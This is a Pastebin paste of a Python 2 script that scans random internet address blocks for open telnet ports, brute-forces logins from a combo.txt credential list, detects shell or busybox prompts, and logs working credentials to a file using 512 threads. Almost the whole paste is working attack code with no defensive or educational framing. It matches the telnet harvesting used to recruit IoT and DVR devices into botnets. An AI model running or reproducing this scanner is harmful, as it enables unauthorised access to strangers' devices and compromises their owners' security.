Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import socket
- import random
- import itertools
- import os
- import string
- import time
- import socket
- import threading
- import select
- def gen_IP_block():
- not_valid = [10,127,169,172,192]
- first = random.randrange(1,256)
- while first in not_valid:
- first = random.randrange(1,256)
- ip = ".".join([str(first),str(random.randrange(1,256)),
- str(random.randrange(1,256))])
- return ip+".1-255"
- def ip_range(input_string):
- octets = input_string.split('.')
- chunks = [map(int, octet.split('-')) for octet in octets]
- ranges = [range(c[0], c[1] + 1) if len(c) == 2 else c for c in chunks]
- for address in itertools.product(*ranges):
- yield '.'.join(map(str, address))
- def Scan(IP):
- global totalscanned
- try:
- s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.settimeout(1)
- s.connect((IP, 23))
- s.close()
- totalscanned += 1
- return True
- except:
- totalscanned += 1
- return False
- pass
- def recv_timeout(sock, timeout):
- sock.setblocking(0)
- ready = select.select([sock], [], [], timeout)
- if ready[0]:
- data = sock.recv(4096)
- return data
- def TelnetBrute(host):
- global fh
- global totalguessed
- global totalfound
- combos = open("combo.txt", "r").read().replace("\r", "").split("\n")
- data = ""
- for passwd in combos:
- try:
- s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.settimeout(1)
- s.connect((host, 23))
- s.send(passwd.split(":")[0] + "\r\n")
- time.sleep(1)
- s.send(passwd.split(":")[1] + "\r\n")
- data = recv_timeout(s, 2)
- totalguessed += 1
- for good in ["$", "#", ">", "shell", "dvrdvs", "usybox"]:
- if good in data:
- totalfound += 1
- fh.write(passwd + ":" + host + "\n")
- fh.flush()
- return
- except Exception as e:
- pass
- def checkrange():
- checkedrange = 0
- while 1:
- for IP in ip_range(gen_IP_block()):
- if Scan(".".join(IP.split(".")[:3])+".1") and Scan(".".join(IP.split(".")[:3])+".254") and checkrange == 0:
- checkedrange = 1
- break #entire ip range has port open, skipping...
- if Scan(IP):
- TelnetBrute(IP)
- checkedrange = 0
- def Status():
- global totalfound
- global totalguessed
- global totalscanned
- while 1:
- print 'Total Telnetz found: {0} Total guessed: {1} Total scanned: {2}\r'.format(totalfound, totalguessed, totalscanned),
- time.sleep(1)
- global fh
- global totalfound
- global totalguessed
- global totalscanned
- global isscreenshotting
- fh = open("telnetz.txt", "wb")
- totalfound = 0
- totalguessed = 0
- totalscanned = 0
- isscreenshotting = 0
- threads = 0
- threading.Thread(target = Status, args = ()).start()
- for thread in xrange(0,512):
- try:
- threading.Thread(target = checkrange, args = ()).start()
- threads += 1
- except:
- pass
- for i in range(0,3):
- raw_input()
- os.popen("taskkill /f /pid " + str(os.getpid()))
- '''
- if __name__ == "__main__":
- threadcount = 0
- for i in xrange(0,1024):
- try:
- threading.Thread(target=HaxThread, args=()).start()
- threadcount += 1
- except:
- pass
- print "[*] Started " + str(threadcount) + " scanner threads!"
- '''
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement